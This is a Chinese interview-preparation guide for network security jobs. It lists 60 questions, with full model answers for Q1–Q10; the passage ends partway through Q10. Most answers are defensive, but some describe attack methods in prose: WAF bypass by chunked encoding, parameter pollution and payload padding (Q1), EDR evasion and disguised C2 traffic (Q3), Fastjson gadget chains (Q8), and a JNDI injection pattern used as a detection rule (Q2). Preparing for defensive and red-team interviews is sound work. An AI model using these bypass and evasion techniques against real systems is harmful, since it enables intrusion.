版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
IT网络安全岗位高频面试题
【精选近三年60道高频面试题】
【题目来源:学员面试分享复盘及网络真题整理】
【注:每道题含高分回答示例+避坑指南】
1.SQL注入如何绕过目前主流的WAF?讲讲你实际绕过的案例和思路。(极高频|考察实
操)
2.面对Log4j2这种核弹级0day漏洞,如果你是安全运营负责人,你的应急响应SOP是什
么?(基本必考|需深度思考)
3.详细描述一次你参与过的红蓝对抗演练,你在其中负责什么?遇到最大的困难是什么?怎
么解决的?(学员真题|重点准备)
4.业务侧反馈某台Linux服务器CPU飙升至100%,怀疑被植入挖矿木马,请详述你的排查和
溯源步骤。(极高频|考察实操)
5.CSRF和SSRF的本质区别是什么?在实际开发中如何优雅且低成本地进行全局防御?
(常问|重点准备)
6.谈谈你对零信任架构(ZeroTrust)的理解,如果让你在现公司落地,第一步你会做什
么?(需深度思考|反复验证)
7.如果内网某台办公主机感染了勒索病毒,你如何防止其横向移动并快速定位病原体?
(基本必考|考察抗压)
8.讲讲Fastjson反序列化漏洞的底层原理,为什么它总是频繁爆出绕过?现在的修复方案是
什么?(重点准备|反复验证)
9.在微服务架构下,接口越权漏洞(水平越权/垂直越权)频发,你认为从SDL规范上应该
如何避免?(需深度思考|网友分享)
10.某电商APP在促销期间遭遇大量恶意爬虫抓取接口数据,你会采用哪些手段进行防御和
反制?(极高频|考察实操)
11.对称加密和非对称加密在HTTPS握手过程中分别扮演什么角色?为什么不全用非对称加
密?(基本必考|背诵即可)
12.发现一个盲注漏洞,但在实网环境中对方有严格的请求频率限制,你会如何高效地提取数
据?(重点准备|考察实操)
13.讲一下Redis未授权访问漏洞的利用姿势(比如写公钥、反弹shell),以及实战中遇到过
什么坑?(常问|学员真题)
14.当业务部门为了上线速度拒绝修复你提的高危安全漏洞时,你作为安全工程师会如何沟通
和推动?(考察软实力|需深度思考)
15.XSS漏洞目前在大型互联网公司还常见吗?DOM型XSS的排查难点在哪里?(常问|网
友分享)
16.介绍一下OAuth2.0的授权码模式流程,其中State参数的作用是什么?如果缺失会导致什
么安全问题?(基本必考|重点准备)
17.Kubernetes(K8s)集群中,如果某个Pod被攻陷,攻击者如何利用容器逃逸获取宿主机
权限?如何防御?(需深度思考|考察实操)
18.遇到过被加密或混淆的恶意流量吗?你是如何进行抓包分析和特征提取的?(重点准备|
学员真题)
19.假设内网有一台主机频繁向外部恶意域名发起DNS请求,但抓不到具体进程,你有哪些
排查思路?(极高频|考察实操)
20.JWT在身份认证中被广泛使用,它有哪些常见的安全缺陷?你是如何验证其实际安全性
的?(常问|重点准备)
21.Shiro-550和Shiro-721漏洞的利用条件有什么区别?在无外网回显的情况下怎么证明漏洞
存在?(反复验证|考察实操)
22.聊聊你对DevSecOps的理解,如何将安全工具无缝集成到CI/CD流水线中而不影响发版效
率?(需深度思考|网友分享)
23.APT攻击中的钓鱼邮件防不胜防,如果发现有员工中招点击了木马附件,你的第一反应及
后续动作是什么?(极高频|考察抗压)
24.你们之前的公司是如何管理各种APIKey和敏感凭证的?有没有发生过泄露事件,怎么处
理的?(常问|学员真题)
25.CDN在面对CC攻击时常常被穿透直接打到源站,遇到这种情况你的应急策略是什么?
(重点准备|考察实操)
26.如何快速发现企业暴露在公网上的影子资产和未受管的API接口?你常用的工具和思路是
什么?(极高频|学员真题)
27.如果你需要给研发团队做一次安全培训,你会选择哪三个最常见的漏洞作为重点?为什
么?(考察软实力|需深度思考)
28.讲讲Windows域渗透中常说的“黄金票据”和“白银票据”的原理,以及防御和检测手段。
(重点准备|考察实操)
29.CobaltStrike的流量特征现在各大安全厂商都能识别,你在红队评估中是如何做C2流量
隐藏和免杀的?(需深度思考|学员真题)
30.对于目前大火的AIGC大模型技术,你认为它在网络安全攻防两端会带来哪些新的挑战和
应用?(需深度思考|反复验证)
31.一台Windows服务器中了Rootkit,传统的杀毒软件查不出来,你会使用哪些高级工具或
手段进行排查?(重点准备|考察实操)
32.业务反馈上传的图片偶尔显示不出来,你排查发现是上传接口存在条件竞争漏洞导致文件
被杀毒引擎清理,讲讲条件竞争的原理。(常问|重点准备)
33.讲讲你挖过最得意的一个逻辑漏洞,具体的业务场景是什么,你是如何发现并利用的?
(学员真题|需深度思考)
34.发现企业代码仓库(如GitLab)的权限管控形同虚设,你打算如何从零开始建立代码安全
审计机制?(需深度思考|考察抗压)
35.给你一个不知道任何源代码和业务架构的黑盒APP,请详述你的渗透测试完整流程。
(极高频|考察实操)
36.数据库(如MySQL)如果被拖库,黑客通常会利用哪些系统层面的错误配置或提权漏
洞?(常问|重点准备)
37.在排查Webshell时,如果遇到内存马(无文件落地),你会怎么发现它并且彻底清除?
(基本必考|考察实操)
38.很多系统使用短信验证码进行密码找回,这其中容易出现哪些安全问题?你一般怎么测
试?(常问|背诵即可)
39.企业上云后,云安全态势管理(CSPM)显得尤为重要,你在云原生环境下遇到过最严重
的安全事故是什么?(学员真题|需深度思考)
40.如果黑客利用了你的一个判断失误导致公司数据泄露,复盘会上你会如何解释和承担责
任?(考察抗压|考察软实力)
41.介绍一下Nmap的各种扫描模式(如SYN、ACK、FIN)及其适用场景,如何绕过简单的
防火墙策略?(常问|背诵即可)
42.在日常的安全运营巡检中,大量误报的告警会让人“狼来了”疲劳,你是如何优化告警规则
降低误报率的?(需深度思考|考察实操)
43.近期有没有关注过什么严重的安全漏洞(除了Log4j)?讲讲它的影响范围和你的漏洞复
现思路。(极高频|网友分享)
44.你如何评估一款第三方开源组件的安全风险?如果在投产后才爆出0day你怎么办?(重
点准备|考察抗压)
45.钓鱼网站的域名经常和真实域名高度相似(比如同形异义字),你有哪些自动化的手段去
监测品牌被仿冒的情况?(常问|考察实操)
46.当面临多线程高并发环境下的支付接口时,如何防止账户余额出现“负数”或者并发扣款失
败的漏洞?(重点准备|需深度思考)
47.聊聊你对安全基线检查的看法,企业里推行基线配置最容易遇到的阻力是什么?怎么解
决?(考察软实力|反复验证)
48.应急响应时,如果发现入侵者的IP是国外的代理节点或者肉鸡,你还有什么办法继续往下
溯源?(需深度思考|考察实操)
49.一次由于研发同学硬编码导致公有云AccessKey泄露,黑客立刻拉起了几百台机器挖
矿,费用爆表,你的止血方案是什么?(学员真题|考察抗压)
50.SameSite属性对于Cookie防范CSRF的作用是什么?它有哪几种模式?分别适用于什么
场景?(常问|重点准备)
51.公司准备收购一家小微互联网企业,需要你对被收购方进行安全尽职调查,你会关注哪几
个核心安全维度?(需深度思考|考察软实力)
52.解释一下IPSecVPN和SSLVPN的区别,从安全性和应用场景来看,企业该如何选择?
(常问|背诵即可)
53.WAF在防御CC攻击时往往会误杀真实用户的正常高频请求,你会如何设计更智能的鉴白
和清洗策略?(重点准备|考察实操)
54.你编写自动化安全测试脚本常用什么语言?分享一个你为了提高工作效率自己写的安全小
工具。(学员真题|考察实操)
55.如何防范内网运维人员离职时的“删库跑路”风险?从权限管理、审计和备份的角度谈谈。
(常问|反复验证)
56.如果让你负责规划一家B轮融资创业公司明年的安全预算和建设重点,你的核心思路是什
么?(需深度思考|网友分享)
57.讲一下PHP中反序列化漏洞常用的魔术方法,以及phar://伪协议如何触发反序列化?
(常问|重点准备)
58.面对日益常态化的护网行动(HW),作为防守方,你认为前期最需要做好的准备工作是
什么?(极高频|反复验证)
59.很多安全设备买来后由于缺乏维护变成了“摆设”,你作为安全工程师,如何向管理层证明
这些设备的ROI?(考察软实力|需深度思考)
60.我问完了,你有什么想问我的吗?(面试收尾)
【IT网络安全岗位】高频面试题深度解答
Q1:SQL注入如何绕过目前主流的WAF?讲讲你实际绕过的案例和思路。
❌不好的回答示例:
遇到WAF拦截时,我通常会尝试把关键字用大小写混合替换,或者把空格替换成类
似//的注释符。如果不行的话,就试试双写关键字,比如把select写成
selselectect。有时候也会尝试URL编码或者十六进制编码。现在的WAF比较智
能,实在绕不过去的话,我可能会去GitHub或者安全社区找找别人刚发的最新
Bypasspayload,直接复制粘贴进去试试运气,偶尔也能成功拿到数据。
为什么这么回答不好:
1、认知停留在早期特征匹配时代,大小写和简单注释替换早就无法绕过现在的语
义分析型WAF,显得实战经验极度匮乏。
2、缺乏成体系的测试方法论,遇到拦截只会“去网上找payload试运气”,没有展现
出对WAF底层检测原理和数据库词法解析引擎差异的深入思考。
3、完全没有回答出题目要求的“实际绕过的案例”,无法向面试官证明你具备解决复
杂问题的工程排查能力。
高分回答示例:
面对主流基于语义分析和机器学习的WAF,我通常的逻辑是“寻找WAF解析器与后
端业务、数据库解析器之间的差异”。单纯的编码混淆很难奏效,核心在于打破
WAF的上下文语境。
1、利用HTTP协议层解析差异进行分块传输绕过。在一次实战中,我发现目标云
WAF对HTTPChunked编码的支持存在缺陷。我通过修改BurpSuite,将带有恶
意SQL的请求拆分成极小的块,并在每个Chunk-Size后插入无效的注释。WAF在
重组HTTP报文时发生截断,而到达后端的Tomcat却能正常拼接,最终被MySQL正
常执行。
2、利用参数污染与冷门函数组合。在遇到常规盲注函数(如sleep)被全量封杀
时,我会基于目标环境特性进行适配。比如针对某系统,我利用了HTTP参数污染
(HPP),构造类似id=1&id=unionselect...的请求。WAF只校验了第一个参
数,而业务中间件恰好取了最后一个参数。同时,配合一些冷门的数学运算或几何
函数制造延时或报错,成功将数据带出。
3、超出WAF检测深度的垃圾数据填充。部分硬件WAF为了保障高并发业务吞吐
量,只检测Body的前8KB数据。我会在真实的Payload前填充超过此阈值的无意义
表单字段,将恶意代码推挤到WAF的检测盲区外。
在完成渗透测试后,我通常会协助研发团队进行代码层的预编译(PDO)改造。因
为无论在WAF层面做多少层规则叠加,边界防御总有被畸形报文击穿的风险,终极
的解决方案必须落实到数据访问层的参数化查询上。
Q2:面对Log4j2这种核弹级0day漏洞,如果你是安全运营负责人,你的应急响
应SOP是什么?
❌不好的回答示例:
如果爆发了Log4j2这种漏洞,我首先会赶紧去网上看漏洞的原理和修复方案。然后
拉着研发团队开会,让他们立刻排查代码里有没有用到这个组件。如果有用到的,
就督促他们连夜把版本升级到官方发布的最新安全版本。同时在防火墙上把相关的
敏感端口给封掉。等所有系统都升级完之后,再观察一下有没有什么异常情况,没
有的话这个事情就算处理完了。
为什么这么回答不好:
1、缺乏“止血减损”的急救意识,在漏洞爆发初期直接依赖研发升级代码,忽略了此
时系统已经处于极其危险的裸奔状态。
2、排查方案不具可操作性,仅仅“让研发排查代码”很容易漏掉第三方黑盒产品或深
层依赖,导致资产盘点出现盲区。
3、缺少事中溯源和事后复盘环节,完全没有考虑在打补丁之前,系统可能已经遭
到了入侵并被植入了后门。
高分回答示例:
面对核弹级0day,我通常的逻辑是执行“先止血、再盘点、深溯源、稳修复”的四步
SOP,确保在信息不对称的初期最大程度降低业务风险。
1、边界止血与虚拟补丁下发。漏洞爆发后的1小时内,我会立即联动运维团队,在
WAF、RASP以及流量分析设备上紧急下发基于已知JNDI注入特征(如${jndi:ld
ap://}等正则变种)的虚拟补丁。同时,在外网出口阻断不必要的
DNS/LDAP/RMI外联请求,从网络层掐断反弹Shell的通道。
2、全量资产与深层依赖盘点。绝不能只依赖研发自查。我会采用“白盒+黑盒”双管
齐下:白盒层面利用依赖扫描工具(SCA)遍历代码仓库的pom.xml和打包好的
jar包,揪出深层嵌套的Log4j2;黑盒层面,使用带有OOB(带外数据)功能的
POC,对全网API接口进行大规模Fuzzing扫描,找出未被登记的隐蔽资产或采购
的第三方系统。
3、受害范围溯源与排雷。在推进修复的同时,我会提取WAF和主机日志,检索过
去一段时间内是否存在成功的注入特征。重点排查主机层是否有异常的网络外联、
新增的陌生进程或异常的SSH公钥写入。因为0day公开前通常有一段潜伏期,必须
确保系统中没有残留的后门。
4、灰度修复与复盘。配合研发通过修改启动参数(如设置formatMsgNoLookups=tru
e)进行临时缓解,随后逐步灰度替换为官方安全版本的jar包。修复完成后,我会
沉淀本次应急的度量指标(如MTTD平均检测时间、MTTR平均响应时间),并推动
优化现有的SCA资产台账建设。
Q3:详细描述一次你参与过的红蓝对抗演练,你在其中负责什么?遇到最大的
困难是什么?怎么解决的?
❌不好的回答示例:
在去年的红蓝对抗里,我是红队成员,主要负责外网打点。我用了Nmap和漏扫工
具对目标IP段扫了一遍,发现了一个跑着老版本Weblogic的系统。然后我用网上的
反序列化一键利用工具打进去,直接拿到了系统的最高权限。后来发现这是一个边
缘系统,没能进到内网核心区,于是我又扫了其他的IP。最大的困难就是目标WAF
拦截太厉害了,很多Payload发过去都被封IP,我只能通过不断切换代理池来解
决。
为什么这么回答不好:
1、体现出的技能水平极低,仅仅停留在“使用现成扫描器和一键工具”的层面,没有
展现出高级渗透测试人员应有的定制化攻击能力。
2、所谓“最大的困难”极其平庸,被WAF封IP是日常渗透最基础的门槛,不足以作为
高阶对抗场景中的技术难点。
3、缺乏团队协同和战术战略的思考,仅仅是毫无目的的盲扫,没有体现出对目标
企业IT架构弱点的分析与利用。
高分回答示例:
在去年的大型攻防演练中,我作为红队核心成员,主要负责从外网突破以及突破后
的内网初始据点建立。在这次实战中,我们摒弃了容易暴露的常规扫描打点,而是
采取了更具隐蔽性的供应链与社工结合的打法。
1、实施精准打击突破边界。我通过开源情报(OSINT)收集到目标公司研发人员
常用的内部知识库域名,发现其使用了某开源Wiki系统且未打补丁。我构造了特定
POC绕过了前端CDN清洗,成功拿下该Wiki服务器的权限。
2、遇到的最大困难及解决路径。最大的困难是目标主机上部署了极具侵略性的
EDR(终端检测与响应)设备。当我尝试使用CobaltStrike的默认Beacon回连
时,进程立刻被杀,且IP被溯源封禁。在这种情况下,核心风险点在于如何做到进
程注入与内存免杀。
3、免杀对抗实操。我放弃了常规的Shellcode加载方式,而是自己在本地利用
C++重写了加载器,采用了Syscall直接系统调用的方式绕过了EDR的用户层API
Hook。同时,我对C2的通信流量进行了深度伪造(MalleableC2Profile),将
其伪装成企业内部正常的微软更新请求流量,并调整了心跳时间的抖动率
(Jitter)。最终成功避开了流量监控,获得了稳定的内网据点。
这次演练让我深刻意识到,现阶段的红蓝对抗已经从单纯的漏洞利用转变为针对防
御设备底层原理的深度博弈。后续复盘时,我们也输出了针对该EDR产品防护盲区
的检测建议,帮助蓝队完善了策略。
Q4:业务侧反馈某台Linux服务器CPU飙升至100%,怀疑被植入挖矿木马,请
详述你的排查和溯源步骤。
❌不好的回答示例:
如果Linux服务器CPU100%,我会先用SSH连上去,然后敲一个top命令,看看是
哪个进程占用了这么高的CPU。如果发现是一个不认识的名字,那肯定就是挖矿木
马了。我会立刻用kill-9把这个进程杀掉。然后删掉它对应的文件。为了防止它再
启动,我还会去crontab里面看看有没有定时任务,有的话也一块删掉。最后让业务
重启一下服务器,观察一会看看CPU有没有降下来就行了。
为什么这么回答不好:
1、操作极其莽撞,直接“kill进程删文件”会破坏第一案发现场,导致后续无法取证
和溯源,是应急响应的大忌。
2、对高级木马的防御机制一无所知,现在的挖矿木马通常有守护进程、Rootkit隐
藏甚至内核级模块挂钩,单纯用top命令根本看不到真实进程。
3、没有涉及溯源环节,只治标不治本。不找出木马是通过什么漏洞进来的,木马
几分钟后就会通过后门再次复活。
高分回答示例:
在处理服务器疑似感染挖矿木马的事件时,我通常的逻辑是“隔离保现场、动态查隐
藏、静态清持久、深挖入室门”。
1、环境隔离与现场保护。第一时间不能直接kill进程或重启。我会联系运维在交换
机或云安全组层面阻断该服务器对外的主动连接(尤其是向已知矿池的连接),但
保留我的SSH排查通道,防止木马检测到断网后触发自毁脚本破坏日志。
2、绕过隐藏机制定位真实进程。成熟的挖矿木马通常会Hook系统的readdir等
函数,导致top或ps命令失效。我会使用静态编译的busybox或者更底层的
工具(如sysdig、unhide)去绕过用户态的劫持,抓取高CPU消耗的真实PID和
内存映像,并利用ls-l/proc/PID/exe锁定木马落地的真实物理文件路径。
3、深挖持久化机制与彻底清除。仅仅杀进程是无效的。我会全面排查常见的驻留
手段:除了检查常规的crontab定时任务,还会重点检查~/.ssh/authorized_key
s是否被写入后门公钥,检查/etc/ld.so.preload是否被植入了动态链接库劫持
后门,以及各种Systemd服务配置文件。在确认所有守护进程和驻留项后,编写脚
本进行一次性集中清理。
4、漏洞溯源与闭环。挖矿木马通常依靠自动化蠕虫传播。我会重点查看系统日志
(/var/log/secure)是否有SSH爆破成功的记录,或者排查外网暴露的Redis(未
授权访问)、Weblogic(反序列化)等常见漏洞组件的访问日志。找到入侵入口点
后,彻底修复漏洞,才算完成完整的安全闭环。
Q5:CSRF和SSRF的本质区别是什么?在实际开发中如何优雅且低成本地进行
全局防御?
❌不好的回答示例:
CSRF就是跨站请求伪造,黑客通过诱导用户点击一个链接,用用户的身份去执行
一些操作,比如转账。SSRF是服务器端请求伪造,是黑客让服务器去访问内网里
其他不能直接访问的机器。防CSRF的话,就是在表单里加一个Token,每次提交
都验证一下。防SSRF的话,就是不要让用户直接传URL给服务器,或者用正则过
滤掉内网的IP地址,比如192.168开头的。
为什么这么回答不好:
1、对底层利用原理的解释过于表面。没有点破CSRF利用的是“浏览器自动携带
Cookie的机制”,而SSRF利用的是“服务器对内网边界的绝对信任”。
2、防御方案不够优雅和现代化。对于CSRF,在现代前端框架中逐个加Token成本
很高;对于SSRF,单纯依赖正则过滤内网IP极易被各种编码变种绕过。
3、缺乏工程落地思维,没有站在开发架构全局的角度给出低成本、高效率的通用
治理方案。
高分回答示例:
CSRF(跨站请求伪造)与SSRF(服务器端请求伪造)虽然名字相似,但本质上
的受害者与信任机制完全不同。CSRF的本质是攻击者利用了“浏览器在发送请求时
会自动携带目标域名Cookie”的特性,盗用了客户端(用户)**的信任凭证;而
SSRF的本质是攻击者利用了业务应用对外网请求参数过滤不严,盗用了**服务器
端在内网环境中的高权限信任。
在实际的研发体系落地中,我推崇低成本、无侵入的全局防御方案:
1、优雅防御CSRF。传统的Anti-CSRFToken改造成本过高。目前最优雅的方案
是推动研发在Cookie设置中全局启用SameSite属性。我通常要求配置为SameSit
e=Lax(部分高敏接口设为Strict)。在网关层强制校验Origin和Referer头。
这种方案几乎不需要前端大规模改代码,能在基础设施层直接阻断绝大多数跨域伪
造请求。
2、严密防御SSRF。过滤SSRF绝不能仅仅依靠正则匹配内网IP(如10.x.x.x),
因为存在十进制IP绕过、DNSRebinding(DNS重绑定)、以及IPv6绕过等大量
坑点。我推行的全局防御规范是:
解析后校验:接收到URL后,服务器必须先自己解析域名获取真实IP。判断这个IP是否为
内网地址。如果是,则直接阻断。
连接时锁定:在发起HTTP请求时,直接使用上一步解析出来的、已验证为公网的IP进行
连接,并在请求头中手动指定Host字段。这样可以彻底杜绝DNS重绑定攻击。
协议与端口白名单:在HTTPClient库中,全局禁用file://、dict://、gopher://
等危险协议,仅允许http/https,并限制只能访问常规Web端口。
通过将这些防御逻辑封装为公司统一的HTTP基础组件库,可以实现对两类漏洞的
底层免疫。
Q6:谈谈你对零信任架构(ZeroTrust)的理解,如果让你在现公司落地,第
一步你会做什么?
❌不好的回答示例:
我对零信任架构的理解就是“永不信任,始终验证”。传统的网络安全是靠边界防火
墙,进了内网就是安全的。零信任就是不要内网外网的概念,所有人都要验证。如
果让我在公司落地,第一步我会去市场上调研一下各个安全厂商的零信任产品,比
如VPN替换产品或者SDP网关。然后申请预算,买一套最适合我们公司的系统部署
上去,让所有员工以后都通过这个网关来访问内部系统。
为什么这么回答不好:
1、把安全架构和商业产品划等号,错误地认为买了一套SDP(软件定义边界)网
关设备就等同于实现了零信任,这是典型的“买盒子保安全”的落后思维。
2、缺乏对企业内部实际复杂IT现状的敬畏。落地第一步不去盘点自身资产和业务
流,直接盲目推产品,极大概率会造成业务大面积阻断。
3、没有提到零信任核心的几个维度,比如身份、终端状态、动态权限评估等,理
解浮于表面口号。
高分回答示例:
我对零信任(ZeroTrust)的底层理解是:它不是一种具体的技术或产品,而是一
种将信任机制从“基于网络位置(如IP/VLAN)”转变为“基于多维动态上下文评估
(身份、设备、行为)”的架构理念。其核心目标是收缩攻击面,实现最小权限原则
的动态落地。
如果让我在现公司推动零信任落地,在这种涉及全局基础架构改造的情况下,最核
心的风险点是“一刀切导致的业务中断”。因此,我的第一步绝对不是采购设备,而
是进行深度资产与身份基线的盘点(Visibility)。
1、构建统一的身份与设备底座。我首先会拉通IT与HR部门,梳理公司所有的碎片
化账号,建立统一身份认证中心(IAM/SSO)。同时,必须盘点并管控所有的接入
终端,推行统一的UEM/MDM(统一端点管理)平台,确保“没有被纳管的设备,连
发起验证的资格都没有”。
2、摸清微隔离的业务通信基线。在网络层,我会在数据中心内部署流量采集探
针,持续观察并记录1-3个月的真实业务组件通信模型。弄清楚哪些微服务之间是必
须通信的,绘制出真实的业务访问关系图(拓扑)。不掌握这些基线数据,盲目切
断内部默认信任,会导致生产事故。
3、设计灰度迁移路径。在理清上述基线后,我才会引入SDP网关或微隔离引擎。
选择一个相对边缘的业务线(如外部OA或报销系统)作为试点,开启“仅监控不阻
断”模式运行一个月,调优策略后,再逐步向核心数据链路推进。
零信任建设是一个长达3-5年的持续工程,第一步的基线盘点决定了整栋大厦的地基
稳固程度。
Q7:如果内网某台办公主机感染了勒索病毒,你如何防止其横向移动并快速定
位病原体?
❌不好的回答示例:
如果发现有人中了勒索病毒,我会立刻让他把网线拔了,或者直接把电脑关机,防
止病毒传给别人。然后我会在内部群里发通知,让大家最近不要乱点邮件里的链
接。接着我会去那台中毒的电脑上看看能不能用杀毒软件把病毒杀掉,或者找找有
没有解密工具能把文件恢复出来。至于怎么找病原体,我会看看他电脑里的上网记
录,问问他最近有没有下载什么奇怪的软件。
为什么这么回答不好:
1、应急操作存在致命错误,“直接关机”会导致内存中可能存在的解密密钥或恶意进
程关键特征彻底丢失。
2、阻断横向移动的手段极其原始且无效,拔网线只能隔离单台机器,完全无法阻
止已经在内网其他机器上潜伏的病毒继续扩散。
3、缺乏专业的取证与溯源方法论,仅仅依靠“看上网记录和询问员工”根本无法应对
具有复杂传播路径的高级勒索软件。
高分回答示例:
处理内网勒索病毒事件,我通常的逻辑是“微观保现场、宏观断通道、逆向抓特征、
日志定源头”。勒索病毒一旦爆发,往往意味它已经在内网潜伏并拿到了部分高权
限。
1、物理隔离与内存取证。第一步是立即拔掉该主机的网线(物理断网)或者在交
换机上将其端口DOWN掉,但绝对禁止关闭主机电源或重启。因为许多勒索软件的
进程还在内存中运行,我需要立即利用如DumpIt等工具抓取内存镜像,以便后续逆
向分析中寻找可能的密钥碎片或C2地址。
2、宏观切断横向传播链路。勒索软件通常依靠永恒之蓝(MS17-010)、SMB爆
破或活动目录(AD)下发GPO策略进行横向移动。我会立即在核心交换机或防火
墙层面,全局封禁445、135、139、3389等极易被利用的内网高危端口。同
时,在域控服务器上紧急排查是否有异常的组策略被下发,并重置关键域管账号的
密码,防止破坏范围指数级扩大。
3、提取IOC与全网扫雷。在隔离的环境中,通过对加密文件后缀、勒索信特征(留
下的邮箱或比特币地址)以及恶意进程的哈希值进行提取,生成本次事件的威胁情
报特征(IOC)。将该IOC下发至全网的EDR或杀毒软件中进行大面积扫描,揪出
处于潜伏期、尚未执行加密操作的其他中毒主机。
4、多维日志比对定位病原体(PatientZero)。我会提取中毒主机的Windows安
全日志(尤其是ID4624登录日志),并结合内网流量分析平台(NTA)的数据。
通过关联分析,寻找这台主机被感染前,究竟是哪个内部IP通过什么协议对它发起
了攻击,顺藤摸瓜,逐层回溯,最终定位到最初被钓鱼邮件攻破的源头机器或暴露
在公网的脆弱资产。
Q8:讲讲Fastjson反序列化漏洞的底层原理,为什么它总是频繁爆出绕过?现
在的修复方案是什么?
❌不好的回答示例:
Fastjson漏洞是因为它在把JSON字符串转回Java对象的时候,会自动执行某些方
法,如果传入了恶意构造的JSON,就会导致代码执行。它总是被绕过是因为官方
以前修漏洞就是用黑名单,过滤掉一些已知的恶意类。但是黑客总能找到新的恶意
类,比如各种各样的第三方依赖库里的类,所以就一直在修修补补。现在的修复方
案就是升级到最新版,或者干脆不用Fastjson,换成Jackson这种更安全的库。
为什么这么回答不好:
1、对底层触发机制的描述含糊不清,没有点出核心的@type机制以及反序列化时
自动调用setter/getter方法的致命缺陷。
2、解释频繁绕过的原因不够深入,没有提及checkAutoType校验逻辑中针对缓存
机制或特定类库处理方式的逻辑漏洞。
3、给出的修复方案缺乏建设性,“换成Jackson”在庞大的老旧业务系统中根本不具
备实操性,没有提供企业级的平滑过渡止血方案。
高分回答示例:
Fastjson反序列化漏洞的底层原理,根源在于其设计的一个初衷为解决多态实例化
问题的核心机制:AutoType。在反序列化时,若JSON字符串中包含@type字
段,Fastjson会尝试实例化该字段指定的类,并在这个过程中自动调用该类的默认
构造函数以及所有的setter和特定的getter方法。如果攻击者将@type指向
了一个存在利用链的类(如JNDI利用的JdbcRowSetImpl或导致动态字节码加载的
TemplatesImpl),就会在属性赋值阶段触发恶意代码执行。
它之所以频繁爆出绕过,本质是因为早期Fastjson采用的是“基于黑名单的拦截模
式”。
1、黑名单本身存在无尽的第三方利用链(Gadget)。Java生态极其庞大,攻击者
总能在各种冷门依赖库中找到新的类来替代被封杀的类。
2、checkAutoType校验逻辑极其复杂且存在设计缺陷。后续的许多绕过(如
1.2.47)并非找到了新类,而是利用了Fastjson内部的TypeUtils.mappings缓存
机制,通过两步构造,先将恶意类强行注入到白名单缓存中,再发起调用,从而完
美绕过黑名单校验。
在企业级生产环境中,彻底解决该问题的方案分为两步:
1、开启SafeMode(安全模式)。这是治本之策。从1.2.68版本开始,
Fastjson引入了SafeMode。我会推动研发在代码中全局配置ParserConfig.getG
lobalInstance().setSafeMode(true)。开启后,无论白名单还是黑名单,Fastjson
将彻底拒绝一切@type指定的实例化行为,直接从底层掐断反序列化利用链。
2、构建依赖护城河。在暂时无法升级或修改老旧业务代码的情况下,我会在RASP
(应用运行时自我保护)设备上部署针对java.lang.Runtime.exec()和JNDI注入
底层调用的严格Hook监控,从行为侧进行兜底拦截。
Q9:在微服务架构下,接口越权漏洞(水平越权/垂直越权)频发,你认为从
SDL规范上应该如何避免?
❌不好的回答示例:
微服务里越权漏洞很多,主要是因为每个服务都自己管自己的,接口太多了。要从
SDL规范上避免的话,第一是在需求阶段,就要明确每个接口谁能访问。第二是在
编码阶段,要求开发必须在代码里加上权限判断的逻辑,不能只看前端传过来的
ID。第三是在测试阶段,安全人员要用Burp抓包,把ID改成别人的试试能不能越
权。只要每个环节都卡严一点,就能减少这种漏洞。
为什么这么回答不好:
1、典型的“正确的废话”,将SDL流程简单罗列,没有触及微服务架构特有的分布式
权限校验痛点。
2、过度依赖人工防范。“要求开发加上权限判断”这种靠人治的规范极其脆弱,在庞
大的微服务集群中必然会出现疏漏。
3、没有提供基础设施层面的架构解法,缺乏高级安全工程师应有的“安全左移与架
构内生安全”的建设视角。
高分回答示例:
在微服务这种接口爆炸、链路极长的架构中,指望业务开发每次都手动编写正确的
权限校验代码是不现实的。我通常的逻辑是“权限校验架构化、数据归属标签化、测
试流程自动化”。从SDL(安全开发生命周期)的视角,我会推动以下规范落地:
1、架构设计阶段:强制引入API网关与零信任鉴权下沉。禁止各个微服务自行维护
Session或鉴权逻辑。必须在统一的API网关层进行JWT解析与粗粒度的垂直权限
拦截(RBAC)。对于水平越权,在网关层将解析出的当前真实用户ID通过Header
(如X-User-Id)安全可信地透传给后端的微服务,明确规定业务微服务只能信任
该Header中的ID,绝不能信任客户端请求体中传递的用户ID。
2、研发阶段:推行数据层所有权校验组件(ABAC)。水平越权的核心是“A动了B
的数据”。我会联合基础架构团队,开发统一的ORM层安全插件或拦截器
(AOP)。例如,在执行UPDATEorderSET...WHEREorder_id=?时,底层组件
自动强制拼装ANDuser_id={当前网关透传的X-User-Id}。通过数据维度的强制隔
离,让开发即使忘了写校验逻辑,也无法篡改他人数据。
3、安全测试阶段:建设自动化的越权检测流水线(DAST/IAST结合)。常规扫描
器极难发现逻辑越权。在CI/CD流水线中,我引入自动化越权检测工具:要求测试
提供高低两种权限的测试账号,通过流量回放技术,自动将高权限或账号A的合法
请求包中的鉴权凭证(Cookie/Token)替换为低权限或账号B的凭证,如果响应长
度和状态码相似度极高,则自动阻断发版并告警。
通过将权限校验沉淀到中间件和网关,减少业务代码的自由度,才是SDL在微服务
中落地的最优解。
Q10:某电商APP在促销期间遭遇大量恶意爬虫抓取接口数据,你会采用哪些手
段进行防御和反制?
❌不好的回答示例:
如果大促的时候遇到很多爬虫,我会去WAF上看请求日志,找出那些访问特别快、
频率特别高的IP,然后直接把这些IP给封掉。另外我还会看看这些请求的User-
Agent,如果是Python或者curl这种非浏览器的请求头,也一律拦截。如果还是拦
不住,我就会让开发在APP里加个图形验证码,或者发短信验证码,让用户每次看
商品都输一下,这样机器就爬不了了。
为什么这么回答不好:
1、对抗手段极其初级。现在的灰黑产早就普及了海量秒拨IP池和真实的浏览器UA
池,封IP和封UA只会引发大量的误杀,严重影响正常用户。
2、严重破坏业务体验。在大促这种要求高转化的节点,给正常的商品浏览接口加
上图形或短信验证码,会导致业务转化率暴跌,这种方案会被业务部门直接否决。
3、缺乏立体的风控体系思维,没有利用现代设备指纹和动态混淆技术进行无感对
抗。
高分回答示例:
在大促高并发场景下对抗专业爬虫,最核心的风险点是“防御策略引发正常用户的误
杀和业务转化率的下降”。我通常的逻辑是建立“端云协同、动态对抗、无感清洗”的
三维防御体系。
1、端侧接入设备指纹与风控探针。传统的IP和UA早已失效。我会推动在APP客户
端或前端H5中集成强大的设备指纹SDK,采集如Canvas、WebGL渲染差异、传
感器数据(陀螺仪)、甚至是触摸屏滑动的轨迹熵。在请求发起时,计算出设备的
唯一ID和环境风险Token,通过请求头发送给网关。由于黑产使用模拟器或群控
墙,这些底层硬件特征极难伪造,我们可以精准识别出“非人类”设备。
2、云端动态规则计算与人机挑战。在网关层,对携带异常指纹或行为表现出明显
周期性(例如严格每秒请求3次)的流量,不采取“直接阻断”,而是降级处理。对于
